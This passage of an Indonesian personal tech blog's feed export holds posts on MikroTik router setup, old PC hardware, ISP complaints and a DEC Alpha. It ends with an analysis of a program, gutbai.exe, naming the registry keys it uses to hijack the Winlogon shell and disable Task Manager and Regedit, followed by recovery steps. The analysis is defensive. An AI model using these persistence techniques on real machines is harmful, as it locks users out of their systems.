address=xxx.xxx.xxx.xxx/subnet interface=[NIC_NAME]&lt;br /&gt;&lt;br /&gt;NIC_NAME adalah nama NIC, kalo binun bisa pake perintah /interface print, kira2 gini outputna di shellna si mikriting :&lt;br /&gt;&lt;br /&gt;[admin@MiKriting] &gt; /interface print&lt;br /&gt;Flags: X - disabled, D - dynamic, R - running&lt;br /&gt; #    NAME                         TYPE             RX-RATE    TX-RATE    MTU&lt;br /&gt; 0    wireless_lan                 ether            0          0          1500&lt;br /&gt; 1  R Internet                     ether            0          0          1500&lt;br /&gt; 2  R bridge1                      bridge           0          0          1500&lt;br /&gt; 3  R lan                          ether            0          0          1500&lt;br /&gt;&lt;br /&gt;Kalo binun nentuin NIC mana sih yang ke 1, 2, 3, dst.. bisa pake perintah :&lt;br /&gt;&lt;br /&gt;[admin@MiKriting] &gt; /interface ethernet blink [NIC_NAME}&lt;br /&gt;&lt;br /&gt;Nanti liat di panel belakang, NIC mana yg lampu LEDna kedip2 :)&lt;br /&gt;&lt;br /&gt;Kalo dah di add ip addressna, bisa liat konfigurasina dah bener pa lom dengan :&lt;br /&gt;&lt;br /&gt;[admin@MiKriting] &gt; /ip address print&lt;br /&gt;Flags: X - disabled, I - invalid, D - dynamic&lt;br /&gt; #   ADDRESS            NETWORK         BROADCAST       INTERFACE&lt;br /&gt; 0   ;;; AP&lt;br /&gt;     10.0.0.1/24        10.0.0.0        10.0.0.255      wireless_lan&lt;br /&gt; 1   ;;; Internet&lt;br /&gt;     192.168.1.2/24     192.168.1.0     192.168.1.255   Internet&lt;br /&gt; 2   ;;; LAN&lt;br /&gt;     192.168.0.1/24     192.168.0.0     192.168.0.255   lan&lt;br /&gt;&lt;br /&gt;Sekarang tinggal bikin NAT, Queue (kalo pake BW management :)), dll... tapi bersambung dulu... ngantuk &gt;.&lt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-588884020845535910?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/588884020845535910/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=588884020845535910' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/588884020845535910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/588884020845535910'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/07/bikin-pc-lawas-jadi-pc-router-my_08.html' title='Bikin PC lawas jadi PC Router.. My version! Part - 2'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/RpGLoN3MWnI/AAAAAAAAAAM/9lJiFqVgk3Y/s72-c/DSC00440.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1462354278831757622</id><published>2007-07-06T14:15:00.000+07:00</published><updated>2007-07-09T08:16:54.022+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Bikin PC lawas jadi PC Router.. My version! Part - 1</title><content type='html'>Di rumah ada 1 PC lama (lawas) yg gak kepake, diubek2 ternyata masih bisa idup.... sebenarnya sih ni PC dapet dari temen (dihibahkan gitu :P), berhubung gak da HDna jadi gak isa diapa2in... Kebetulan gi pengen bikin WLAN (Wireless LAN), jadina butuh 1 router, ya udah mulai deh projek "rebirth" si PC ...&lt;br /&gt;&lt;br /&gt;Spek umum dari PC lawas ni : &lt;br /&gt;&lt;br /&gt;Processor : Pentium S - 120 Mhz&lt;br /&gt;RAM (EDO) : 16 MB&lt;br /&gt;Mobo : Merek gak tau, chipset i430VX (intel Triton)&lt;br /&gt;&lt;br /&gt;Hardware pertama yang dicari adalah HD, ketemu di pasar loak jatinegara (dulu sih masih rame, sekarang dah pada berkurang akibat pembangunan busway), dapet Fujitsu 4.3 GB, hargana waktu itu sekitar 65 rebuan... Buat processor kayakna agak kurang mantap, jadina nyari di toko2 komputer deket kampus margaonda, dapet Pentium 233 MHz MMX... lumayan murah 1 biji hargana 15 rebu, eh kebetulan ada yg masih jual EDO RAM juga, 2 keping @ 16 MB hargana 5000 dua biji tuh :D :D sekalian beli HSF (Heatsink Fan) baut processorna, kasian nanti gak kuat kalo panas :D...&lt;br /&gt;&lt;br /&gt;Buka casing PC "cilik" (cilik aq nyebutna, soalna ukuranna kayakna mini-Atx.. PC yg lain gede2, si ALPHA aje lebih gede dari si Pentium 4 &gt;.&lt;), copot processor lama, tambahin thermalpaste, pasang HSF... Taraaaaaaaaaa.... telah diupgrade si "cilik", EDO RAM tinggal pasang di 2 slot yg masih tersedia.. oiya, PC lawas biasana perlu konfigurasi RAM yang pasang2an, maksudna sekali pasang harus 2. Itu juga spekna harus sama &gt;.&lt;..&lt;br /&gt;&lt;br /&gt;Ngetes booting, dah dikenalin ma si mobo blom ya? waksss, kok masih nampil 120 MHz!!?? Duh nyari info di paman google nemu kalo PC lawas itu perlu setting jumper buat multiplier, voltage ma system clock buat Processor baru &gt;.&lt;&lt;br /&gt;&lt;br /&gt;Berhubung vendor mobona gak tau, akhirna dapet info kalo dari nomor seri BIOS (itu loh angka2 yg muncul pas pertama kali boot, biasana sih di bagian bawah layar) bisa diketahuin jenis BIOS + Vendor mobona. Dicatet trus main ke http://www.wimsbios.com/awardnumbers.jsp, cari2 referensi dari format nomor seri BIOS si "cilik" eh dapet! ternyata vendorna itu Shuttle HOLCO versi HOT-55x. &lt;br /&gt;&lt;br /&gt;Waduh "x" dari HOT-55x itu paan ye? nyari2 di paman google juga gak da mobo seri yg "x" gitu, berarti mang "x" itu adalah angka, diasumsikan karena versi2 yang tersedia itu HOT-553 hingga HOT-559 :( ...&lt;br /&gt;&lt;br /&gt;Akhirna nanya di forum http://motherboards.mbarron.net/forum/ , nyari2 sapa tau ada bisa setting jumper di mobo "cilik" ... mudah2an ada yg bales ... Amiiin :D :D&lt;br /&gt;&lt;br /&gt;Bersambung dulu ye, nanti dilanjutin lagi :D :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1462354278831757622?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1462354278831757622/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1462354278831757622' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1462354278831757622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1462354278831757622'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/07/bikin-pc-lawas-jadi-pc-router-my.html' title='Bikin PC lawas jadi PC Router.. My version! Part - 1'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-4499663541179520894</id><published>2007-06-30T01:11:00.000+07:00</published><updated>2007-06-30T01:27:59.406+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><title type='text'>Telkom Speedy?? Part - 1</title><content type='html'>Speedy, dari namanya juga bisa diketahui kalo sesuatu yang cepat.. humm produk koneksi internet broadband dari Telkom ini mang banyak pro n kontra. Aq sebagai salah satu penggunanya (kira2 dah 1 tahun), juga mulai berpikiran kalo apa yang dijadiin permasalahan orang banyak itu mulai terjadi.&lt;br /&gt;&lt;br /&gt;1. Trafik yang padat, terjadi lebih sering di siang hari.. entah itu memang banyak yg gi make ato ada masalah dari infrastruktur telkom itu sendiri.&lt;br /&gt;&lt;br /&gt;2. Security, paling kritis nih yg satu ini... bayangin ajah (menurut pengamatan n pengalaman ndiri :P) hampir 70% pengguna speedy masih buta ttg pentingnya sekuritas koneksi internet mereka. Selanjutnya ttg hal ini akan dibahas lebih lanjut :D&lt;br /&gt;&lt;br /&gt;3. Biaya, paling penting nih!! harga paket personal itu 200 rebu per bulan, unlimited office 750 rebu... kalo dibandingkan koneksi dedicated ato wireless tergolong cukup terjangkau. Pertanyaanya, apa bisa dengan biaya 200 rebu itu quotanya dihilangkan alias menjadi unlimited?? :P hehehhe biasa, cara pikir yang gk mo rugi :P&lt;br /&gt;&lt;br /&gt;4. Teknisi yang (menurut aq loohhh! :P) kurang berpengalaman, bukan menyebut "semua" teknisi speedy gak berpengalaman, tetapi sebagian memang bukan berdasar IT. Sehingga jika terjadi masalah memang terkesan lamban atau tidak resolve sama sekali. &lt;br /&gt;&lt;br /&gt;Kebetulan ajah kemarin sempet ngobrol2 ma teknisi speedy yang dateng ke rumah soal kualitas speedy sekarang dibandingkan dgn yang dulu... memang meningkat tetapi lebih baik lagi kalo bisa "dekat" dgn hati para pelanggan, baik itu masalah teknis maupun masalah lainnya :D :D &lt;br /&gt;&lt;br /&gt;Apalagi kan udah ada forum di telkomspeedy.com dgn kang Onno membahas soal ADSL n Speedy, mudah2an para petinggi speedy bisa "mendengar" kelu kesah para pelanggan speedy ... :D :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-4499663541179520894?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/4499663541179520894/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=4499663541179520894' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4499663541179520894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4499663541179520894'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/telkom-speedy-part-1.html' title='Telkom Speedy?? Part - 1'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-6528571653493062740</id><published>2007-06-30T00:10:00.000+07:00</published><updated>2007-07-09T08:17:13.197+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>PC164 DEC ALPHA Server part - 1</title><content type='html'>&lt;a href="http://bp0.blogger.com/_C4OekAEc7cI/RpGMXd3MWoI/AAAAAAAAAAU/x_qCRy2W4ZU/s1600-h/DSC00102.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/RpGMXd3MWoI/AAAAAAAAAAU/x_qCRy2W4ZU/s320/DSC00102.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5084999789059005058" /&gt;&lt;/a&gt;&lt;br /&gt;Pernah punya mesin "legendaris" ini??? duuh pertama kali punya ni mesin susahhhhhhnya minta ampun mo upgrade OSnya... kenapa?&lt;br /&gt;&lt;br /&gt;1. OS Bawaan dah terpasang Windows NT 4.0 German, kebayang binunna baca tulisan n keyboard mappingna juga beda amat ma US Internasional (OMG!!!!!)&lt;br /&gt;&lt;br /&gt;2. Binun pake firmware bawaan, ARC ... tapi lebih enak karena dah berupa menu2 ^_^&lt;br /&gt;&lt;br /&gt;3. CD ROM SCSIna dah agak soak, dibuka, ditutup, kebuka lagi... gak tau napa... jgn2 ada penungguna? &gt;.&lt;&lt;br /&gt;&lt;br /&gt;4. Lom tau jenis ALPHA Server yang mana, abisnya cuman ada petunjuk jenis prosesor (RISP)nya doank, 21164... btw soal RISC nanti dijelasin yaa ^_^.&lt;br /&gt;&lt;br /&gt;Akhirnya diputusin upgrade, sebutanna upgrade gak yah? soalnya cuman ganti NT 4.0 yang English :P... kebetulan ada kak rio (senior lab manajemen dasar) punya CD Windows NT 4.0 Workstation English version (&lt;&lt;&lt; ini yang penting :P, original lagi!). Gimana tuh re-installingnya? Kayak install OS di PC biasa, tapi bedana buat milih boot ke CD, bikin partisi (hebat bgt nih ARC, ampe ada menu bikin partisina, tapi cuman bisa FAT &lt;br /&gt;ajah :P) dilakuin di menu ARC. Nanti tinggal pilih menu Install Windows NT 4.0 From CD (Kalo gk salah nama manunya :P). Selanjutnya seperti install windows di PC biasa, setting partisi, language, serial number, n dll.&lt;br /&gt;&lt;br /&gt;Oh iya, berbeda dgn windows arsitektur di PC biasa, khusus di arsitektur ALPHA perlu 1 partisi tambahan yaitu OSLOADPARTITION guna mem-boot si windows NT. keterangan lengkap ada di : &lt;a href="http://support.microsoft.com/kb/172952"&gt; http://support.microsoft.com/kb/172952 &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Perlu diketahui support dari Microsoft terhadap Windows NT 4.0 di ALPHA ini hanya sampai Service Pack 4, kemarin pgn upgrade ke service pack 6 gagal :(&lt;br /&gt;&lt;br /&gt;Referensi ALPHA n Windows NT : &lt;a href="http://www.alphant.com/ant_faq.shtml"&gt; http://www.alphant.com/ant_faq.shtml &lt;/a&gt; &lt;br /&gt;&lt;br /&gt;RISC atau reduced instruction set computer adalah jenis CPU yang "dipangkas" fitur2na, contohnya : ALPHA, SPARC, ARC, ARM, AVR, MIPS, Dll.  Referensi : &lt;a href="http://en.wikipedia.org/wiki/RISC"&gt; http://en.wikipedia.org/wiki/RISC &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-6528571653493062740?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/6528571653493062740/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=6528571653493062740' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6528571653493062740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6528571653493062740'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/pc164-dec-alpha-server-part-1.html' title='PC164 DEC ALPHA Server part - 1'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_C4OekAEc7cI/RpGMXd3MWoI/AAAAAAAAAAU/x_qCRy2W4ZU/s72-c/DSC00102.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-6677270911710301570</id><published>2007-06-29T21:57:00.001+07:00</published><updated>2007-06-29T22:00:05.128+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kampus'/><title type='text'>My PI ... :(</title><content type='html'>Waaaaaaakkksss, PI (Penulisan Ilimiah) aq gimana niiiiihh? mana si iqbal harus ke yogya 1 bulan.. otomatis sidang sendirian deh :(... mudah2an dosen pegujina gk nanya macem2... amiiiiiiiiiinnnnnnnn !!!&lt;br /&gt;&lt;br /&gt;Btw PI yg aq tulis itu : "Pembuatan Aplikasi Transformasi Citra Dengan Menggunakan MATLAB 6,5".. duh ribet yakk?? kekekekekkeke, iya nih MATLAB mang terkenal ma ribetna... mana matriks semua operasina T_T.&lt;br /&gt;&lt;br /&gt;Dah di Acc sih ma DP (Dosen Penguji), tapi ya itu masalah sidang masih gak jelas!!! duh binun binun binun binun binun :((....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-6677270911710301570?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/6677270911710301570/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=6677270911710301570' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6677270911710301570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6677270911710301570'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/my-pi.html' title='My PI ... :('/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-2851207788703490587</id><published>2007-06-29T21:39:00.000+07:00</published><updated>2007-06-29T21:47:35.764+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Access Point...</title><content type='html'>Duh pengen belajar ttg Wifi nih... sapa tau bisa buka RtRwnet disini :P :P hehehe&lt;br /&gt;&lt;br /&gt;Kebetulan kemarin di forum rtrwnet baca2 soal AP yang bagus (nyari yg bisa mode Client juga :P), nemu LinkSys WRT54G/L/S... kata orang2 sih mang jadi "Legenda" nih AP, soalna bisa di update firmware jadi lebih banyak fitur n bisa diinstallin aplikasi karena berbasis linux (bener gak yah? lom nyoba :P)....&lt;br /&gt;&lt;br /&gt;Yaudah deh, langsung kontak ke salah satu yg jual di forum (oms maman :D).. mesen 1 trus besok diambil... sempet ditawarin AP TP-Link (lupa versi brapa &gt;.&lt;) yg support RangeExtender (bener gak yah fiturna :P) yg lebih murah... tapi kok jadi bimbang ye? pilih harga agak murah apa yg banyak fitur yg bisa dioprek???&lt;br /&gt;&lt;br /&gt;Yowis, diputuskan dengan suara bulat, langkah tegap maju jalan, bibir mengucap "Bismillah", tangan mengetik dengan mantap di YM, "Yang Linksys ajah deh oms!".... hehehe mudah2an nih AP jadi mainan baru buat Aq.. :D :D Wish Me Luck!! :D :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-2851207788703490587?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/2851207788703490587/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=2851207788703490587' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/2851207788703490587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/2851207788703490587'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/access-point.html' title='Access Point...'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-5830907429765672257</id><published>2007-06-28T23:01:00.000+07:00</published><updated>2007-06-30T01:04:57.491+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='komunitas'/><title type='text'>Staff @ EcH0!!!!</title><content type='html'>Duuhhhhhhhh senangnya diterima jadi staff di EcH0 (www.echo.or.id), setelah menulis 2 artikel yg dikerjain dgn SKS (Sistem Kebut Sejam) akhirna Alhamdulilah diberi kesempatan untuk menjadi salah satu (penjaga) disana :P &lt;br /&gt;&lt;br /&gt;Mudah2an para staff yang udah senior bisa bimbing aq, ngasi solusi saat aq dilanda problema, sharing knowledge demi kemajuan bersama, dll :D :D &lt;br /&gt;&lt;br /&gt;Hehehehe, kira2 tugas pertamana apa yah??? Asal jgn suruh mijetin aje -.- :P....&lt;br /&gt;&lt;br /&gt;Anyway, Viva EcH0...!!! Let's Work together, share together :D :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-5830907429765672257?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/5830907429765672257/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=5830907429765672257' title='10 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5830907429765672257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5830907429765672257'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/staff-ech0.html' title='Staff @ EcH0!!!!'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-558429958364631258</id><published>2007-06-28T23:00:00.000+07:00</published><updated>2007-06-30T01:05:29.979+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Gutbai.exe, Apa dan Solusinya</title><content type='html'>Author : PusHm0v @ PusHm0v Software Development&lt;br /&gt;Date   : 18/9/2006&lt;br /&gt;&lt;br /&gt;Shoutz : All echo|staff, yogyafree|staff, The Killer Team&lt;br /&gt;  Myztx, vaganci, ^family_code^, TOMMY, adhietslank, etc.&lt;br /&gt;         #e-c-h-o, #yogyafree, #javahack, #koncek, #canda, #canda-ops @DAL.NET&lt;br /&gt;         newbie_hacker@yahoogroups.com, yogyafree@yahoogroups.com&lt;br /&gt;         IT_CENTER@yahoogroups.com, ProgrammerVB@yahoogroups.com&lt;br /&gt;  virus_baru@yahoogroups.com&lt;br /&gt;         VBbego.com, Virology.info, Vbtn.com&lt;br /&gt;         IA01 dan 1IA07, Lab MaDas angk. 19 @ Gunadarma University&lt;br /&gt;         Dan teman2 serta kerabat2 lain yang tidak bisa disebutkan satu-persatu&lt;br /&gt;&lt;br /&gt;Notes  : Penulis TIDAK bertanggung jawab atas penggunaan maupun penyalahgunaan dari artikel ini.&lt;br /&gt;  Tujuan dibuat artikel HANYA untuk BAHAN PEMBELAJARAN saja.&lt;br /&gt;         Semua nama, URL, domain, IP address, username, password dalam artikel ini disamarkan demi &lt;br /&gt;         keamanan dan privasi.&lt;br /&gt;         Bila pembaca artikel ini menganggap artikel ini menyinggung perasaan, maka Penulis &lt;br /&gt;         memohon maaf sebesar-besarnya.&lt;br /&gt;         &lt;br /&gt;Main#&lt;br /&gt; Beberapa waktu yang lalu penulis dimintai untuk mencoba sebuah aplikasi oleh mas Kurniawan (^family_code^), yaitu&lt;br /&gt;gutbai.exe. sang author aplikasi ini mengkalim bahwa telah menemukan celah di Microsoft Windows yang bisa membuat &lt;br /&gt;Bill Gates gulung tikar (walaupun pada tahun depan om Bill bakal mengundurkan diri :P). Aplikasi Gutbai.exe tidak akan &lt;br /&gt;mempengaruhi kinerja system, demikian klaim sang author. Walaupun pada kenyataannya aplikasi ini SANGAT-SANGAT merusak&lt;br /&gt;Windows anda. Beberapa analisa penulis terhadap aplikasi gutbai.exe :&lt;br /&gt; &lt;br /&gt; 1. Compiled dari VB 6.0, dengan no packer dan native code.&lt;br /&gt; 2. Mengubah/menambah beberapa key registry :&lt;br /&gt;  * DisableRegistryTools&lt;br /&gt;  * DisableTaskMgr&lt;br /&gt;  * HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell\Explorer.exe menjadi gutbai.exe&lt;br /&gt;  * HKLM\Software\Microsoft\Windows\CurrentVersion\policies\system\Shell\Gutbai.exe&lt;br /&gt; 3. Mencopy dirinya sendiri ke C:\Windows&lt;br /&gt; 4. "Membunuh" proses Explorer.exe&lt;br /&gt;&lt;br /&gt; Bila dijalankan, aplikasi ini akan memunculkan window dengan 2 Button yang pertama berisi tantangan untuk meng-kliknya dan&lt;br /&gt;kedua akan menutup aplikasinya. Bila button pertama diklik maka akan muncul MessageBox yang berisi bahwa anda sudah menjalankan &lt;br /&gt;tantangannya dan aplikasi akan me-Log Off anda. Begitu anda Log On kembali maka anda hanya dihadapkan tampilan wallpaper saja.&lt;br /&gt; Mengapa demikian?? karena pada dasarnya Windows melakukan boot secara garis besar sbb:&lt;br /&gt;&lt;br /&gt; Boot Sector -&gt; NTLDR -| &lt;br /&gt;         |-&gt; Ntdetect.com -&gt; HKLM\HARDWARE\DESCRIPTION&lt;br /&gt;         |-&gt; HKLM\SYSTEM\CurrentControlSet\Services&lt;br /&gt;         |-&gt; Ntoskrnl.exe |-&gt; bootvid.dll&lt;br /&gt;     |-&gt; Windows Session Manager (smss.exe) -&gt; HKLM\SYSTEM\CurrentControlSet\Session Manager\Bootexecute&lt;br /&gt;                -&gt; HKLM\SYSTEM\CurrentControlSet\Session Manager\Memory Management\PagingFiles&lt;br /&gt;                -&gt; HKLM\SYSTEM\CurrentControlSet\Session Manager\Environment&lt;br /&gt;                -&gt; Winlogon -&gt; MSGina.dll&lt;br /&gt;              -&gt; Shell (Explorer.exe) ;Nah disini lah permasalahan terjadi&lt;br /&gt;&lt;br /&gt; Sang gutbai.exe menggantikan dirinya sebagai shell yang asli, yaitu Explorer.exe. Maka dari itu anda tidak mempunyai shell tapi mempunyai logon yang valid,&lt;br /&gt;karena MSGina sudah dieksekusi terlebih dahulu. TaskManager tidak bisa dibuka, sama halnya dengan Registry Editor (Regedit) karena telah di blok.&lt;br /&gt;&lt;br /&gt;Solusi#&lt;br /&gt; Banyak cara untuk mengembalikan shell asli anda, seperti menggunakan media boot CD, disket, USB, dll. Yang pada dasarnya mengganti value registry yang telah&lt;br /&gt;diganti oleh aplikasi tsb. Berhubung kita menggunakan media boot, maka tidak dapat mengubah Registry secara langsung. DIperlukan aplikasi yang dapat membaca&lt;br /&gt;dan mengubah value registry. Untuk penyimpanan Registry Windows terdapat pada %SystemRoot%\Config\Software (karena HKLM\Software yang kita tuju).&lt;br /&gt; Dianjurkan menggunakan aplikasi yang sifatnya GUI (Graphical User Interface) dalam mengubah registry supaya memudahkan recovery. Penulis menggunakan &lt;br /&gt;CD Recovery XP 1.00 Build On PEBuilder yang didalamnya sudah terintegrasi Regedit bawaan. UNtuk mendapatkan atau mengetahui cara membuat CD tsb bisa menghubungi&lt;br /&gt;penulis.&lt;br /&gt;&lt;br /&gt;Cara Recovery:&lt;br /&gt; 1. Buka Regedit dari Run&lt;br /&gt; 2. Browse HKEY_LOCAL_Machine&lt;br /&gt; 3. Pilih File pada menu dan pilih Load Hive (File Type : Hive File)&lt;br /&gt; 4. Browse ke Drive windows anda (biasanya C:)&lt;br /&gt; 5. Browse ke C:\Windows\System32\Config, lalu pilih file Software&lt;br /&gt; 6. Akan muncul kotak input box, Buat nama key baru misal HKEY_BARU&lt;br /&gt; 7. Browse ke HKEY_BARU\Microsoft\Windows\CurrentVersion\policies\system lalu hapus value Shell&lt;br /&gt; 8. Browse ke HKEY_BARU\Microsoft\Windows NT\CurrentVersion\Winlogon lalu ganti value Shell menjadi Explorer.exe &lt;br /&gt; 9.Pilih File pada menu dan pilih Export &lt;br /&gt; 10.Save 1 folder dengan  file software tadi, misal dengan nama software2. Jangan lupa untuk memilih selected branch : HKEY_LOCAL_MACHINE\HKEY_BARU&lt;br /&gt; 11.Pilih File pada menu dan pilih UnLoad Hive&lt;br /&gt; 12.Browse ke C:\Windows lalu hapus file gutbai.exe&lt;br /&gt; 13.Browse ke folder C:\Windows\System32\Config, lalu hapus file Software dan rename file software2 menjadi software&lt;br /&gt; 14.Reboot Komputer anda&lt;br /&gt;&lt;br /&gt; Bila pada komputer anda masih tidak dapat membuka Task Manager atau Regedit dapat menggunakan file repair.inf :&lt;br /&gt;&lt;br /&gt; * BUka Notepad lalu ketikkan :&lt;br /&gt;&lt;br /&gt;----Start Here-----&lt;br /&gt;[Version]&lt;br /&gt;&lt;br /&gt;Signature="$Chicago$"&lt;br /&gt;&lt;br /&gt;Provider=the_killer_team&lt;br /&gt;&lt;br /&gt;[DefaultInstall]&lt;br /&gt;&lt;br /&gt;DelReg=del&lt;br /&gt;&lt;br /&gt;[del]&lt;br /&gt;&lt;br /&gt;HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools&lt;br /&gt;HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableTaskMgr&lt;br /&gt;-----End Here------&lt;br /&gt;&lt;br /&gt; Klik kanan pada file repair.inf tsb dan pilih Install.&lt;br /&gt;&lt;br /&gt;Kesimpulan# &lt;br /&gt; Aplikasi Gutbai.exe menghilangkan shell anda dengan menggantinya dengan 